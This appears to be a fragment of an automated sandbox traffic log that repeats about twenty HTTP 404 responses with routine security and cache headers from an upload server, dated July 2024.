UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:15 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-NyB6CMZvVTtAWmCZ9FkpLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nMR_lZDMwcd2y5wzXQMo4PQAXKwMCZZ_JQ7Vcz3hf5mW7N5lovo-_5CwVaVYzfUkwJyW6nLcDlVWQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:16 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-q-s7jO46qSb30nHblbPW0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nM8jdAbRN0-i3VhnWRRp6bMVq7EGnMKRqiBkwFGK0fEE95ppMgyJkQsUtTbTXAURgmLP4iKQXfonwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:16 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-GFgKDQgRrT0nlBOipj3K4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOPtJ2m3vHevaG3Q6a4nLgqvSUe3dA4bGmGbl4BSIoCqAXcBm_hX3xTIT7F85lisxIzRJvUiznDLAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:17 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-HJpuKtaKZtFzx2Y1qXxtLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nN_iM9sTuAWiLYuk3aOfQpOBrT8DMqu3v2icquWar8JJWwsWlgkOBj9QS-Q4KfoLsP8Iv0Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:17 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-cLG4GRROW7VZxAPnhW_ApQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: AHxI1nMONxAJWrfTmbPA5XBhHtV5bTc8gs-qEN_vlKE_PG3k6_PG4c-vfbK1_3ubOE8PEBB4DlkServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:20 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-JWI_bPaLO8uj1QF5V91T8Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nP7royM9rX3-VUVlzJp_jF3cswHF7MgkfBqHF1Y7-5AfOmaH45xIgFHzRhqVlJaJH0y3YsServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:20 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-xvc5n8jXit4dQDT5ka3owg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOi77aBw0WfYKBJk_PpwoGzRxgDacGRA4frwcW2Z4XoDo0R2_LKW6d05FdRQRJdjttmPwj3785KLgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-mSv_4pYVD2lUHTj3amCtMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nONdGMC0P3pffcVfWACFGERu_eQw8DS1ZStRO9xZld2ceSagMG69zST9MRZEEHasoANmN0RBUcr_gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:22 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-EfoP-WTHkMEyAZmPNelbhQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: AHxI1nNALmtTTRu5H_eUEno1HjINTguxJmBbMLxNuGrtF_27wrFOwe4bqYiYgvYGBpEKnAA8NdJIpqzo7QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:22 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-BM6gfpllRjxd-urH5CCr5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nPR1jxQb2Me7BXz6sWy8dhxubRPFNQd10Ts8z9TP3eFlpIMEDNb0Fvi-_aU9i93Esw_E68TVUoemQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:23 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-gKuuyOn8uD127AFWtEiP5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMt5juCNXa-Du-gvv1DijSWDn3CwENSMpONyc-fReyq89TCoyN9ZOgkum4QsCYX9Xp0bH8Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:24 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce--A2CU723K1DC9UORvvX38Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNDV8-JGanuVgvJYjDH3E1Xmt-0uB3li2wNgvakB_ChfrJZigUYEH9BWFSaCI1eD_twUh0Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:25 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-RWtZg978upilGSTUOih5lA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nN86LTZ4qcQSj6Ulqt4RWMV7AaySGDOV-XwDbF0cQTcbdfvlFxOTQ4QzPhzaMEGwoJ3DSIServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:25 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-9JFWli0YwQaOS-wPmb8Qqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nNk4IN9S4cD4hcYvvGToO6VZO4Nr5qUJEUfyW7p32RYtrFCngEEBvZkT6hm_B0qzSzkDisServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:26 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-2CNYJuYQIMwNn-BlM3B9Gw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMX2eYYne0XqpqYwaNhHULg3jvhBqaN2IxC5j4JvCZxxIGq9NF3kHS4tWZ5oBkIcX-uG5cServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:26 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-owj60LWd1DJJ_84xJ5ZZmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nO8z1eg2Xf7G9WY7DJ8GuKtgQBLS3tZuhjxM9pnB33y9Qi9ixvmWl5TxCA6XGYkKRcBmSDv2CXhvAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:27 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-g1yL0TDgiJjpcxyVrBUxng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nPlB6CQgcXaG_nlbOdnOQ46Eob2Q3TB-draAVOFz9jMHW7hjkpvVgyac8MPDQld2a_zA-ESY3_W5AServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:29 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-dYesL7hf6wT5Ua6Ydbf2PQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nPrZhltCmQGh5lW0jVHH3uebPLQiHJ2Nvk8WmKJaPoTuKNn599sAWD3p4DKzogR7-PABm8Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:29 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-H-U0rj3mnaPxZDrWeSEOuQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMbZyPh_W8Ostlii5tcrOMAZSi-ymv__2B3V__U6ybROv6i-5QwGH6Xz29KDgUa2_iKTg8Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:30 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-UlTKO9lyN4CW9pFIqpkLjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nODbZRjucO3c1WN00sAe8_Ocw5SN-MHWJsOxx4o-1fgngmxq68qcAjxYEZDUabckmbQMQAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
